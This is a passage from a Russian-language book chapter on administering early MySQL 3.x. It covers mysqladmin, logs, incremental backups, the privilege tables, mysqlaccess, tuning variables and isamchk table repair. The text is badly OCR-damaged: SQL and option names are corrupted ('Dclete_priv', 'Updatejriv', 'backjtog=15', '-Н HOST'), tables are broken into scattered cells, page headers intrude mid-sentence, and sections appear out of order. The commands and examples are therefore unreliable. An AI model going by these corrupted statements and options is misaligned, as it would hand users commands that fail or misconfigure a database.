    Две другие команды, mysqladmin variables и mysqladmin extended-status, предлагают дополнительную информацию.

    Поскольку MySQL многопоточна, отследить активность процесса с помощью команды Unix ps не просто. Несмотря на то что выполняется несколько потоков, в списке процессов будет указан только один процесс. MySQL позволяет справиться с этим с помощью команды mysqladmin processlist, которая перечисляет все активные потоки в виде чудесно представленной таблички:

    Администрирование базы данных

    Здесь точно указано, чем занят каждый процесс. Выдаваемые величины имеют следующий смысл:

    Id

    Внутренний идентификационный номер потока. Это значение не имеет отношения к каким-либо системным ID процессов. Вы можете использовать это число в команде mysqladmin kill, чтобы завершить поток.

    User

    Пользователь, подключенный к серверу через этот поток.

    Host

    Имя узла, с которого подключился пользователь.

    db

    База данных, к которой подключен пользователь.

    Command

    Тип команды, выполняемой потоком. Команда может иметь один из следующих типов:

    Sleep

    Поток ждет ввода пользователя. Большинство процессов должно находиться в этом состоянии.

    Quit

    Поток в процессе завершения.

    Init DB

    Поток готовит выбранную базу к взаимодействию. Клиент одновременно может обмениваться данными только с одной базой, но переключение между базами можно осуществить в любой момент.

    Query

    Поток выполняет реальный запрос. Хотя наибольшая часть взаимодействия с базой данных происходит в виде запросов, эти команды производятся очень быстро и редко появляются в выдаче.

    Field list

    Поток создает список полей в таблице.

    Create DB

    Поток создает новую базу данных.

    Drop DB

    Поток удаляет базу данных.

    Reload

    Поток перезагружает таблицы доступа MySQL. После перезагрузки все новые потоки будут использовать обновленные таблицы доступа.

    Shutdown

    Поток находится в процессе завершения всех других потоков и закрытия сервера.

    Statistics

    Поток генерирует статистику.


    Processes

    Этот поток анализирует другие потоки. С этим значением будет показан поток, выполняющий данную команду.

    Connect

    Поток в процессе установления входящего соединения с клиентом.

    Kill

    Этот поток завершает другой поток.

    Refresh

    Поток очищает все буферы и сбрасывает журнальные файлы.

    Файлы журналов MySQL дают еще один способ получения полезной информации для администрирования сервера. MySQL создает главный журнал, если mysqld запускается с параметром --log. Этот журнал ведется в файле /usr/local/var/HOSTNAME.log, где HOSTNAME - имя машины, на которой запущен MySQL. В этот журнал записываются подключения к серверу и команды, посылаемые ему клиентами.

    Задав параметр -debug для mysqld (или safe_mysqld), вы заставите MySQL посылать в журнал дополнительную информацию. Пакет отладки, используемый MySQL, имеет десятки параметров, большинство из которых вы никогда не будете использовать. Наиболее часто используется установка -d:t:o,FILENAME, где FILENAME - имя журнала отладки, который вы хотите использовать. При задании этого параметра в журнал будут заноситься практически все действия сервера, шаг за шагом.

    MySQL поддерживает еще один журнал, пригодный для чтения. Если запустить MySQL с параметром -log-update, будет создан файл с именем HOSTNAME. #, где HOSTNAME имя машины, a #- уникальное число. В этом журнале содержатся все изменения, вносимые в таблицы баз данных. Этот журнал создается в виде SQL, поэтому все операции можно воспроизвести на другом сервере баз данных.

    Завершение работы сервера

    Следующая команда производит корректное завершение работы сервера MySQL:

    mysqladmin -p shutdown

    Эта команда - самый правильный способ завершения работы сервера. Если вы запустили MySQL с помощью safe_mysqld и пытаетесь закрыть сервер каким-либо другим способом, safe_mysqld просто запустит еще один экземпляр сервера. Можно также безопасно закрыть сервер традиционной Unix-командой kill, но никогда не пользуйтесь kill-9.

    Параметры командной строки для mysqladmin


    Утилита mysqladmin - очень богатый инструмент со множеством параметров командной строки. Общий ее формат

    mysqladmin OPTIONS COMMAND1 COMMAND2 . . . COMMANDn

    Иными словами, можно одновременно задавать несколько команд. Будет выполнена даже такая последовательность команд как, скажем,

    mysqladmin -p create silly drop silly

    Эта команда одним махом создаст и уничтожит базу данных "silly". Вот перечень команд, которые можно передать mysqladmin:

    create DATABASENAME

    Создает новую базу данных с указанным именем.

    drop DATABASENAME

    Удаляет базу данных с указанным именем.

    extended-status

    Выдает расширенное сообщение о статусе сервера.

    flush-hosts

    Немедленно записывает все буферизованные изменения на удаленных компьютерах.

    flush-logs

    Немедленно записывает все буферизованные изменения в журналы.

    flush-tables

    Немедленно записывает все буферизованные изменения в таблицы.

    flush-privileges

    То же, что reload.

    killID1,ID2.....IDn

    Завершает потоки с заданными IDs.

    password NEWPASSWORD

    Заменяет пароль на новое значение.

    ping

    Проверяет, работает ли еще mysqld.

    processlist

    Выдает список активных потоков.

    reload

    Заново загружает все таблицы доступа.

    refresh

    Записывает буферизованные изменения во все таблицы и закрывает и открывает все журналы.

    shutdown

    Завершает работу сервера.

    status

    Выдает краткое сообщение о состоянии сервера.

    variables

    Выдает значения имеющихся переменных.

    version

    Выдает данные о версии сервера.

    Кроме команд поддерживаются также следующие параметры:

    -# LOG

    Выдача отладочной информации в журнал. Часто это 'd:t:o,FILENAME'.

    -f

    Не запрашивать подтверждение на удаление таблицы и переходить к следующей команде даже при невозможности выполнить эту.

    -? или --help

    Выдача подсказки по использованию утилиты msqladmin.



    Использовать сжатие в протоколе клиент/сервер.

    -Н HOST

    Подключиться к указанному компьютеру.

    -р [PASSWORD]

    Использовать указанный пароль для проверки прав пользователя.


    Если пароль не указан, пользователю будет выдано приглашение для ввода пароля.

    -Р PORT

    Использовать для подключения указанный порт.

    -i SECONDS

    Повторно выполнять команды через заданный промежуток времени.

    -s

    Выйти без сообщений, если соединение с сервером невозможно установить.

    -S SOCKET

    Файл для использования в качестве сокета Unix.

    -t TIMEOUT

    Тайм-аут для соединения.

    -u USER

    Имя для регистрации пользователя, если оно отлично от текущего.

    -V

    Выдать информацию о версии и завершить работу.

    -w COUNT

    Ждать и повторить попытку заданное число раз, если сервер в данный момент не готов.

    Резервирование данных

    Нельзя переоценить важность регулярного резервирования данных. Без работоспособной резервной копии в результате аварии питания могут быть потеряны месяцы и годы работы. В то же время при хорошо спланированном резервировании можно за короткое время восстановить данные почти при любой аварии.

    В главе 5 "mSQL" приводится подробное изложение роли команды msqldump при резервировании данных mSQL. MySQL поддерживает почти идентичную функциональность в виде команды mysqldump. Мы рекомендуем изучить этот пункт, чтобы понять роль mysqldump при полном резервировании баз данных. В данном параграфе мы остановимся на следующем наиболее важном виде резервирования - инкре-ментном резервировании.

    Хотя технически полного резервирования данных вполне достаточно для восстановления после потери данных, его иногда трудно осуществить. Когда у вас много данных, файлы, необходимые для полного резервирования, могут занимать слишком большое дисковое пространство. Поэтому общепринято осуществлять полное резервирование раз в неделю или через небольшие промежутки времени, а ежедневно производить резервирование данных, изменившихся с момента последнего полного резервирования. Это называется инкрементным резервированием.

    При использовании MySQL инкрементное резервирование можно производить, используя такую возможность сервера баз данных, как "update log" - журнал изменений MySQL. Если сервер баз данных mysqld запущен с параметром --log-update, то все изменения в базе данных будут сохраняться в файле в виде команд SQL. Изменения будут сохраняться в порядке их производства. В результате получается файл, который, будучи обработан монитором mysql, воспроизведет все действия, произведенные над базой данных. Если журнал хранится с самого образования базы данных, то будет восстановлен весь жизненный цикл базы данных, который приведет ее в текущее состояние.


    С большей пользой журнал, ведущийся с некоторого определенного момента, например, от последнего резервирования базы данных, можно использовать для приведения резервной копии в текущее состояние. Такова технология инкрементного резервирования. Производите регулярное (скажем, раз в неделю) полное резервирование базы данных. Затем каждый день копируйте журнал изменений на магнитную ленту или выделенную область жесткого диска. Сохраняйте копии всех ежедневных журналов изменений, начиная с даты последнего полного резервирования. Это позволяет восстановить базу данных в случае аварии, а также все данные, утраченные с момента последнего резервирования. Поскольку журнал изменений является текстовым файлом, можно просмотреть команды SQL для поиска конкретных данных.

    Каким бы методом вы не пользовались для резервирования, производите его часто и периодически проверяйте возможность реального восстановления своих данных. Многие администраторы баз данных старательно сохраняли резервные данные лишь для того, чтобы в один прекрасный день убедиться, что в результате ошибки - оператора, программы или носителя информации - их резервные копии стали абсолютно бесполезны.

    Система безопасности

    Вам не только нужно иметь надежный доступ к своим данным, но и быть уверенным, что у других нет никакого доступа к ним. MySQL использует собственный сервер баз данных для обеспечения безопасности. При первоначальной установке MySQL создается база данных под названием "mysql". В этой базе есть пять таблиц: db, host, user, tab-les_priv, и columns_priv . Более новые версии MySQL создают также базу данных с названием func, но она не имеет отношения к безопасности. MySQL использует эти таблицы для определения того, кому что позволено делать. Таблица user содержит данные по безопасности, относящиеся к серверу в целом. Таблица host содержит права доступа к серверу для удаленных компьютеров. И наконец, db, tables_priv и со-lumns_priv управляют доступом к отдельным базам данных, таблицам и колонкам.


    Мы кратко рассмотрим все таблицы, поддерживающие безопасность в MySQL, а затем рассмотрим технологию их использования при обеспечении защиты ядром MySQL.

    Таблица user

    Таблица user имеет вид, показанный в Таблице 4-1:

    Таблица 4-1. Таблица user



    Поле



    Тип



    Null



    Ключ



    Значение



    Примеч.



















    по умолчанию







    Host



    char(60)







    PRI











    User



    char(16)







    PRI













    Поле



    Тип



    Null



    Ключ



    Значение



    Примеч.



















    по умолчанию







    Password



    char(16)



















    Select_priv



    enum('N','Y')











    N





    Insert priv enum('N','Y') N


    Update_priv



    enum('N','Y')











    N







    Delete_priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop priv



    enum('N','Y')











    N







    Reload priv



    enum('N','Y')











    N







    Shutdown_priv



    enum('N','Y')











    N







    Process_priv



    enum('N','Y')











    N







    File_priv



    enum('N','Y')











    N







    Grant_priv



    enum('N','Y')











    N







    References_priv



    enum('N','Y')











    N







    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    В колонках Host и User можно использовать символ "% ", заменяющий произвольную последовательность символов. Например, имя узла "chem%lab" включает в себя "chembiolab", "chemtestlab" и т. д. Специальное имя пользователя "nobody" действует как одиночный "% ", то есть охватывает всех пользователей, не упомянутых где-либо в другом месте. Ниже разъясняется смысл различных прав доступа:

    Select_priv

    Возможность выполнять команды SELECT.

    Insert__priv

    Возможность выполнять команды INSERT.

    Update_priv

    Возможность выполнять команды UPDATE.

    Delete_priv

    Возможность выполнять команды DELETE.

    Createjyriv

    Возможность выполнять команды CREATE или создавать базы данных.


    Drop_priv

    Возможность выполнять команды DROP для удаления баз данных.

    Reload_priv

    Возможность перезагружать информацию о доступе с помощью mysqladmin reload.

    Shutdown_priv

    Возможность останавливать сервер через mysqladmin shutdown.

    Process_priv

    Возможность управлять процессами сервера.

    File_priv

    Возможность читать и записывать файлы с помощью команд типа SELECT INTO OUTFILE и LOAD DATA INFILE.

    Grant_priv

    Возможность давать привилегии другим пользователям.

    Index_priv

    Возможность создавать и уничтожать индексы.

    Alter_priv

    Возможность выполнять команду ALTER TABLE.

    В MySQL есть специальная функция, позволяющая скрыть пароли от любопытных глаз. Функция password() зашифровывает пароль. Ниже показано, как использовать функцию password() в процессе добавления пользователей в систему.

    INSERT INTO user (Host, User, Password, Select_priv,

    Insert_priv, Update_priv, Dclete_priv)

    VALUES ('%', 'bob', password('mypass'), 'Y', 'Y', 'Y'.'Y')

    INSERT INTO user (Host, User, Password, Select_priv)

    VALUES ('athens.imaginary.com', 'jane', '', 'Y')

    INSERT INTO user (Host, User, Password)

    VALUES ('%', 'nobody', ")

    INSERT INTO user (Host, User, Password, Select_pnv,

    Insert_priv, Updatejriv, Delete_priv)

    VALUES ('athens.imaginary.com', 'nobody',

    password('thispass'), 'Y', 'Y', 'Y', 'Y')

    Администрирование базы данныхИмена пользователей MySQL обычно не связаны с именами пользователей операционной системы. По умолчанию кли-ентские средства MySQL используют при регистрации имена пользователей операционной системы. Для них, однако, не требуется обязательного соответствия. В большинстве клиентских приложений MySQL можно с помощью параметра -и подключиться к MySQL, используя любое имя. Точно так же ваше имя как пользователя операционной системы не появится в таблице user, если не будет специально включено в нее с присвоением прав.

    Первый созданный нами пользователь, "bob", может подключаться к базе данных с любого компьютера и выполнять команды SELECT, INSERT, UPDATE и DELETE. Второй пользователь, "jane", может подключаться с "athens.imaginary.com", не имеет пароля и может выполнять только SELECT. Третий пользователь - "nobody" - с любой машины.'Этот пользователь вообще ничего не может делать. Последний пользователь -"nobody" - с машины "athens.imaginary.com", он может выполнять SELECT, INSERT, UPDATE и DELETE, как и пользователь "bob."


    Как MySQL производит сопоставление? Возможно, вы обратили внимание, что некоторое имя может соответствовать на деле нескольким записям. Например, "nobody@athens.imaginary.com" соответствует и "nobody@%", и "nobody@athens.imaginary.com". Прежде чем осуществлять поиск в таблице user, MySQL сортирует данные следующим образом:

  • Сначала ищется соответствие для узлов, не содержащих масок " % ", при этом пустое поле Host трактуется как "% ".

  • Для одного и того же узла сначала проверяется соответствие имен, не содержащих масок. Пустое поле User трактуется как содержащее "%".

  • Первое найденное соответствие считается окончательным.

    В предыдущем примере пользователь сначала будет сравниваться с "nobody" из "athens.imagmary.com", поскольку "athens.imaginary.com" в порядке сортировки стоит выше "% ". Поскольку имена компьютеров сортируются раньше имен пользователей, значения привилегий для компьютера, с которого вы подключаетесь, имеют приоритет перед любыми конкретными правами, которые у вас могут быть. Например, если таблица user содержит записи:



    Host



    User



    %

    athens .imaginary .com



    jane

    и jane подключается с "athens.imaginary.com", то MySQL будет использовать привилегии, данные "athens.imaginary.com".

    Таблица db

    Вы могли обратить внимание, что в таблице user не упоминаются конкретные базы данных и таблицы. Таблица user управляет сервером в целом. Однако на сервере обычно находится несколько баз данных, которые служат различным целям и, соответственно, обслуживают разные группы пользователей. Права доступа к отдельным базам данных хранятся в таблице db. Эта таблица имеет структуру, представленную в таблице 4-2:

    Таблица 4-2. Таблица db



    Поле



    Тип



    Null



    Ключ



    Значение по умолчанию



    Примеч.



    Host



    char(60)







    PRI











    Db



    char(32)







    PRI











    User



    char(16)







    PRI











    Select priv



    enum('N','Y')











    N







    Insert_priv



    enum('N','Y')











    N







    Update_priv



    enum('N','Y')











    N







    Delete priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop_priv



    enum('N','Y')











    N







    Referen-



    enum('N','Y')











    N







    ces_priv























    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    <


    Эта таблица во многом похожа на таблицу user. Основное отличие в том, что вместо колонки Password имеется колонка Db. Таблица управляет правами пользователей в отношении определенных баз данных. Поскольку привилегии, указанные в таблице user, относятся ко всему серверу в целом, права, присвоенные пользователю в таблице user, перекрывают права, присвоенные тому же пользователю в таблице db. Например, если пользователю в таблице user разрешают доступ типа INSERT, это право действует в отношении всех баз данных, вне зависимости от того, что указано в таблице db.

    Наиболее эффективно создание в таблице user записей для всех пользователей, в которых не даны никакие права. В этом случае пользователь может лишь подключиться к серверу, не выполняя никаких действий. Исключение делается только для пользователя, назначенного администратором сервера. Все остальные должны получить права доступа через таблицу db. Каждый пользователь должен присутствовать в таблице user, иначе он не сможет подключаться к базам данных.

    Те же правила, которые действуют в отношении колонок User и Host в таблице user, действуют и в таблице db, но с некоторой особенностью. Пустое поле Host вынуждает MySQL найти запись, соответствующую имени узла пользователя, в таблице host. Если такой записи не найдено, MySQL отказывает в доступе. Если соответствие найдено, MySQL определяет права как пересечение прав, определяемых таблицами host и db. Иными словами, в обеих записях разрешение должно иметь значение "Y", иначе в доступе отказывается.

    Таблица host

    Таблица host служит особой цели. Ее структура показана в таблице 4-3:

    Таблица 4-3. Таблица Host



    Поле



    Тип



    Null



    Ключ



    Значение по умолчанию



    Примеч.



    Host



    char(60)







    PRI











    Db



    char(32)







    PRI











    Select_priv



    enum('N','Y')











    N







    Insert_priv



    enum('N','Y')











    N







    Update_priv



    enum('N','Y')











    N







    Delete_priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop_priv



    enum('N','Y')











    N







    Grant_priv



    enum('N','Y')











    N







    Referen-



    enum('NYY')











    N







    ces_priv























    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    <


    Таблица host позволяет задать основные разрешения на межкомпьютерном уровне. При проверке прав доступа MySQL ищет в таблице db соответствие имени пользователя и его машине. Если он находит запись, соответствующую имени пользователя, поле host которой пусто, MySQL обращается к таблице host и использует пересечение обоих прав для определения окончательного права доступа. Например, у вас может быть группа серверов, которые вы считаете менее защищенными, чем остальная часть сети. Вы можете запретить для них все права записи. Если "bob" заходит с одной из таких машин, и его запись в таблице db содержит пустое поле host, ему будет запрещена операция записи, даже если она разрешена ему согласно таблице db.

    Таблицы tables_priv и colums_priv

    Эти две таблицы, по сути, уточняют данные, имеющиеся в таблице db. Именно, право на всякую операцию сначала проверяется по таблице db, затем по таблице tables_priv , затем по таблице columns_priv . Операция разрешается, если одна из них дает разрешение. С помощью этих таблиц можно сузить область действия разрешений до уровня таблиц и колонок. Управлять этими таблицами можно через команды SQL GRANT и REVOKE.

    Последовательность контроля доступа

    Теперь вы знаете, какие элементы участвуют в системе защиты MySQL. Соединим их вместе и покажем, как можно ими пользоваться в реальных ситуациях. MySQL осуществляет контроль доступа в два этапа. Первый этап - подключение. Необходимо подключиться к серверу, прежде чем пытаться что-либо сделать.

    При подключении проводятся две проверки. Сначала MySQL проверяет, есть ли в таблице user запись, соответствующая имени пользователя и машины, с которой он подключается. Поиск соответствия основывается на правилах, которые мы обсудили раньше. Если соответствие не найдено, в доступе отказывается. В случае когда соответствующая запись найдена и имеет непустое поле Password , необходимо ввести правильный пароль. Неправильный пароль приводит к отклонению запроса на подключение.

    Если соединение установлено, MySQL переходит к этапу верификации запроса. При этом сделанные вами запросы сопоставляются с вашими правами. Эти права MySQL проверяет по таблицам user, db, host, tables_priv и columns__priv . Как только найдено соответствие в таблице user с положительным разрешением, команда немедленно выполняется. В противном случае MySQL продолжает поиск в следующих таблицах в указанном порядке:


  • db

  • tables_priv

  • columns_priv

    Если таблица db содержит разрешение, дальнейшая проверка прекращается и выполняется команда. Если нет, то MySQL ищет соответствие в таблице tables_priv . Если, к примеру, это команда SELECT, объединяющая две таблицы, то пользователь должен иметь разрешения для обеих этих таблиц. Если хотя бы одна из записей отказывает в доступе или отсутствует, MySQL точно таким же способом проверяет все колонки в таблице columns_priv .

    Утилита mysqlaccess

    Освоение системы защиты MySQL поначалу может показаться вам затруднительным. Несколько упрощает дело имеющаяся в MySQL утилита mysqlaccess. Эта команда является сценарием на языке Perl , который, исходя из имен машины, пользователя и базы данных, точно показывает, что данный пользователь может делать и почему. Например, команда mysqlaccess nobody isp.com mydata может вывести следующее:

    Access-rights

    for USER 'nobody', from HOST 'isp.com', to DB 'mydata'

    Администрирование базы данных

    BEWARE: Everybody can access your DB as user 'nobody'

    : from host 'isp.com' WITHOUT supplying a password. : Be very careful about it!!

    The following rules are used: db : 'isp.com','mydata','nobody','Y','Y','Y','Y','N',

    'N','N','N','N','N'

    host : 'Not processed: host-field is not empty in db-table.'

    user : '%', 'nobody', ", 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N'

    (Выводится, в частности, предупреждение о том, что база доступна любому, регистрирующемуся как "nobody" с машины "isp.com" без ввода пароля, в связи с чем нужно проявлять осторожность.)

    Как видите, даже если вы полностью разобрались с системой безопасности MySQL, утилиту mysqlacces полезно использовать для контроля системы безопасности вашего сервера.

    Изменение прав доступа

    MySQL загружает таблицы доступа при запуске сервера. Преимуществом такого подхода по сравнению с динамическим обращением к таблицам является скорость. Отрицательная сторона состоит в том, что изменения, производимые в таблицах доступа MySQL, не сразу начинают действовать. Для того чтобы сервер увидел эти изменения, необходимо выполнить команду mysqladmin reload. Если таблицы изменяются с помощью SQL-команд GRANT или REVOKE, явно перегружать таблицы не требуется.

    По каким-то причинам в некоторых дистрибутивах MySQL сценарий mysqlaccess указывает на нестандартное расположение исполняемых файлов Perl. Если при попытке выполнить mysqlaccess вы получаете сообщение "command not found", то это, скорее всего, ваш случай. Вам необходимо изменить строку 1 сценария mysqlaccess, чтобы она указывала на правильный путь к Perl, обычно /usr/local/bin/perl.



    MySQL является, возможно, самым ярким

    MySQL

    MySQL является, возможно, самым ярким программным проектом после выхода Linux. В то время как mSQL заслуживает уважения за то, что столкнула дело управления базами данных с мертвой точки, MySQL умело воспользовалась моментом. Сейчас она не больше и не меньше, как серьезный конкурент большим СУБД в области разработки баз данных малого и среднего масштаба. В самом начале MySQL просто стала заменой устаревающему ядру mSQL версии 1. Как отмечалось в Главе 1, признаки старения mSQL проявились в виде проблем со стабильностью и неспособностью удовлетворить растущие требования, которые обрушились на нее благодаря успеху. MySQL использовала основы проекта mSQL и теперь превосходит ее по набору характеристик и одновременно по производительности.



    Настройка производительности

    Разница между хорошим администратором баз данных и первоклассным администратором состоит в том, что один знает, как управлять сервером баз данных, а второй знает, как сервер живет и дышит. Решение проблем производительности часто лежит на пути глубокого понимания того, как работает MySQL, что дает возможность оптимизировать работу приложения, используя все возможности сервера.

    MySQL имеет три потенциальных "узких места" при любом подключении. Во-первых, это сетевое соединение клиента с сервером. Во-вторых, это время решения таких задач, как, скажем, построение индексов. И наконец, проблема может быть связана с дисковым вводом/выводом. MySQL предоставляет доступ к переменным, с помощью которых ее функционирование можно настроить в соответствии со средой приложения. Все эти переменные можно установить, используя параметр -О в команде mysqld. Например, переменная back_log принимает значение 15 в результате добавления к mysqld параметра -О backjtog=15. Ниже следует список полезных переменных.

    bach_log

    Количество одновременных подключений по TCP/IP в очереди. При наличии большого числа удаленных пользователей, одновременно подключающихся к вашей базе данных, может потребоваться увеличить это число. Отрицательной стороной большого значения является некоторый рост использования памяти и загрузки ЦП.

    key_buffer

    Буфер, выделяемый для хранения последних использовавшихся ключей. Если запросы выполняются слишком медленно, увеличение этого значения может оказаться благотворным. Отрицательный эффект - увеличение расхода памяти.

    max Connections

    Число одновременных соединений, разрешенное сервером баз данных. Если при активной работе пользователи иногда получают отказ в доступе, возможно, это число следует увеличить. Отрицательное последствие - увеличение загрузки сервера, то есть рост использования ЦП, расхода памяти и дискового ввода/вывода.

    table_cache

    Буфер, используемый для хранения данных, к которым происходит частое обращение. Если выделить под них память, то резко сокращается объем обращений к диску. Отрицательный эффект - существенное увеличение расхода памяти.


    Структура хранения данных в MySQL

    Для хранения каждой таблицы MySQL используется три файла. Например, средних размеров таблица mytable может выглядеть так:

    -rw-rw-- - 1 root root 1034155 Jun 3 17:08 mytable.ISD

    -rw-rw---- 1 root root 50176 Jun 3 17:08 mytable.ISM

    -rw-rw-- - 1 root root 9114 Jun 3 14:24 mytable.frm

    В файле ISD хранятся фактические данные. В файле ISM хранятся данные о ключах и прочие внутренние данные, необходимые MySQL для быстрого поиска данных в файле ISD. Файл f rm содержит структуру самой таблицы.

    Файл ISM наиболее важен для функционирования MySQL. Он настолько важен, что ему посвящена целая утилита isamchk. Запуск isamchk -d выводит сведения о таблице:

    # isamchk -d mytable

    ISAM file: mytable

    Data records: 1973 Deleted blocks: 0

    Recordlength: 343

    Record format: Packed

    table description:

    Key Start Len Index Type

    1 2 50 unique text packed stripped

    Важное поле, которое нужно отметить, это "Deleted blocks" (удаленные блоки). Если его значение слишком велико, то файл понапрасну занимает много лишнего места. К счастью, это пространство можно освободить. В результате выполнения следующей команды таблица будет просмотрена и создана заново, при этом будут в большинстве своем устранены ошибки и высвобождено свободное пространство:

    isamchk -r mytable

    Еще большего увеличения скорости можно добиться, применив к таблице команду Isamchk -а. Эта команда анализирует размещение данных в таблице. Ее следует выполнить после вставки или удаления большого числа записей.

    Восстановление поврежденных таблиц

    При авариях сервера или по другим естественным причинам таблица базы данных может оказаться поврежденной. С помощью isamchk обеспечивается несколько уровней восстановления:

    isamchk mytable

    Настройка производительностиПри запуске isamchk во время работы сервера может потребоваться выполнить mysqladmin reload, чтобы сервер "увидел" исправленную таблицу.

    Эта команда исправляет большинство обычных ошибок в таблице. Добавление параметров -г и -v приводит к выводу дополнительных сведений о том, что было нарушено. Использование нескольких -и увеличивает подробность вывода сведений.


    isamchk -rq mytable

    Эта команда осуществляет быструю проверку и при необходимости исправление только файла ISM, файл ISD при этом не проверяется.

    isamchk -e mytable

    С этим параметром производится полная проверка и исправление всего, что можно, и устранение любых повреждений. Такая проверка обычно производится значительно дольше, чем обычная. Выполнение команды прекращается в момент столкновения с первой серьезной ошибкой. Для продолжения проверки даже после нахождения серьезных повреждений передается параметр -v. Тем самым гарантируется отсутствие повреждений в результирующей таблице, но при этом может произойти потеря некоторых данных.

    Настройка производительностиПрежде чем выполнять команду, способную изменить содержимое таблицы, всегда делайте резервную копию данных. Утилита isamchk очень хороша для исправления ошибок, но иногда это означает уничтожение поврежденных данных, входящих в конфликт с остальными данными таблицы. При наличии резервной копии можно восстановить данные, уничтоженные утилитой isamchk.

    Удаление и замена ключей

    Иногда ключи замедляют скорость работы с базой данных. Если, к примеру, вы намерены ввести большой объем данных, индексирование ключей после каждой вставки может оказаться очень неэффективным. Кроме того, если ваша таблица имеет поврежденные ключи, в результате безоглядного исправления таблицы утилитой isamchk может произойти потеря данных, связанных с ключом.

    В этих случаях оказывается полезным временное удаление ключей из таблицы и воссоздание их после завершения опасной работы. Следующая команда удаляет ключи из таблицы:

    isamchk -rq -k0

    Если вы готовы снова вставить ключи, это можно сделать командой:

    isamchk -rq

    Настройка производительностиПрежде чем ввести команду isamchk с параметром -r, завершите работу сервера, иначе таблица может оказаться повреждений.

    Команда isamchk предоставляет столько возможностей, что вам, вероятно, станет сложно разобраться во всех них. Следует, однако, руководствоваться следующими соображениями:

  • Если база данных новая, почаще выполняйте isamchk, -а. В большинстве приложений баз данных основной массив данных вводится в начале существования базы. Если выполнять isamchk с параметром, указывающим на необходимость анализа данных всякий раз, когда размер базы данных удваивается, можно быть уверенным в эффективности хранения данных.


  • Раз или два в год выполняйте команду isamchk -d. Если число удаленных блоков в ваших таблицах составляет существенную часть дискового пространства, выполните isamchk -r для перестройки таблиц с высвобождением ненужного места. Если ваше приложение таково, что приходится удалять много старых данных и вводить новые, выполняйте isamchk -d каждые две недели, а если число удаленных блоков быстро растет, может понадобиться выполнять isamchk -r регулярно - раз в месяц.

  • За исключением операций удаления и замены ключей, которые нужно производить всякий раз, когда одновременно вводился несколько десятков записей, все остальные виды isamchk следует выполнять только в ответ на появившуюся в базе данных несовместность.

    Устранение неполадок

    Даже в самых совершенных программах возникают проблемы. К счастью, многие из проблем, с которыми вы можете столкнуться, уже с кем-то случались. Ниже приводится ряд часто встречавшихся проблем при администрировании MySQL.

    Изменения в таблицах доступа не действуют.

    Не забывайте выполнять команду mysqladmin reload после внесения изменений в таблицы доступа.

    При высокой загрузке MySQL отказывает в подключении.

  • Сначала уточните число соединений, допускаемых сервером. Команда mysqladmin variables покажет его значение в поле max_connec-tions. Можно увеличить это число, запустив mysqld с параметром -О max_connections=###, где ### - предел, который вы хотите установить.

  • Можно также проверить значение back_log , которое определяет размер очереди, создаваемой MySQL для входящих соединений, равное 5 по умолчанию. Версии MySQL до 3.22 позволяли увеличить это значение до 64, но в более поздних версиях его можно увеличить до 1024. Однако оно может быть ограничено до 64 вашей операционной системой.

  • Наконец, эта проблема может быть вызвана ограничением числа дескрипторов файлов. Симптомом этого является полный отказ в подключениях при запуске MySQL большого числа потоков. Unix-системы позволяют устанавливать число дескрипторов файлов разными способами, поэтому следует справиться в системной документации о том, как это сделать.


    MySQL сообщает о невозможности найти файл, который явно существует, или сообщает об ошибках во время его чтения.

    В большинстве случаев эта проблема связана с числом дескрипторов файлов, о котором говорилось выше. Однако если увеличить буфер таблиц MySQL, ему не потребуется открывать так много файлов, и вы сможете избавиться от этой проблемы. По умолчанию величина буфера таблиц равна 64. Можно увеличить его через значение переменной table_cache .

    Число потоков начинает расти, и потоки не завершаются,

    В некоторых системах с установленным NFS, а также в Linux, есть проблемы с механизмом блокировки файлов. Результатом может быть замораживание потоков. Команда mysqladmin processlist поможет выявить эту проблему. Если в поле "Command" против замороженных потоков стоит "System lock", запустите mysqld с параметром --skip_ locking.

    Проект

    Опираясь на наследство, полученное от mSQL, TcX решила, что MySQL должна быть не медленнее mSQL, обладая при этом большим набором возможностей. В то время mSQL задавала тон в производительности баз данных, так что задачу себе ТсХ поставила непростую. Особыми целями проектирования MySQL были скорость, надежность и простота использования. Чтобы достичь такой производительности, в ТсХ приняли решение сделать многопоточным внутренний механизм MySQL. Многопоточное приложение одновременно выполняет несколько задач - так, как если бы одновременно выполнялось несколько экземпляров приложения.

    Сделав MySQL многопоточной, ТсХ дала пользователям много выгод. Каждое входящее соединение обрабатывается отдельным потоком, при этом еще один всегда выполняющийся поток управляет соединениями, поэтому клиентам не приходится ждать завершения выполнения запросов других клиентов. Одновременно может выполняться любое количество запросов. Пока какой-либо поток записывает данные в таблицу, все другие запросы, требующие доступа к этой таблице, просто ждут, пока она освободится. Клиент может выполнять все допустимые операции, не обращая внимания на другие одновременные соединения. Управляющий поток предотвращает одновременную запись какими-либо двумя потоками в одну и ту же таблицу.

    Такая архитектура, конечно, более сложна, чем однопоточная архитектура mSQL. Однако выигрыш в скорости благодаря одновременному выполнению нескольких запросов значительно превосходит потери скорости, вызванные увеличением сложности.

    Другое преимущество многопоточной обработки присуще всем многопоточным приложениям. Несмотря на то что потоки совместно используют память процесса, они выполняются раздельно. Благодаря этому разделению выполнение потоков на многопроцессорных машинах может быть распределено по нескольким ЦП. На рис. 4-1 показана эта многопоточная природа сервера MySQL.

    Проект
    Рис. 4-1. Клиент-серверная архитектура MySQL

    Помимо выигрыша в производительности, полученного благодаря многопоточности, MySQL поддерживает большее подмножество SQL, чем mSQL. MySQL поддерживает более десятка типов данных, а также функции SQL. Ваше приложение может получить доступ к этим функциям через команды ANSI SQL.


    MySQL фактически расширяет ANSI SQL несколькими новыми возможностями. В их числе новые функции (ENCRYPT, WEEKDAY, IF и другие), возможность инкрементирования полей (AUTO_INCREMENT и LAST_INSERT_ID), а также возможность различать верхний и нижний регистры.

    ТсХ намеренно опустила некоторые возможности SQL, встречающиеся в больших базах данных. Наиболее заметно отсутствие транзакций и встроенных процедур. Как и Дэвид Хьюз в mSQL, ТсХ решила, что реализация этих возможностей нанесет слишком сильный удар по производительности. Однако ТсХ продолжает работу в этом направлении, но так, чтобы от потери производительности страдали только те пользователи, которым такие возможности действительно необходимы.

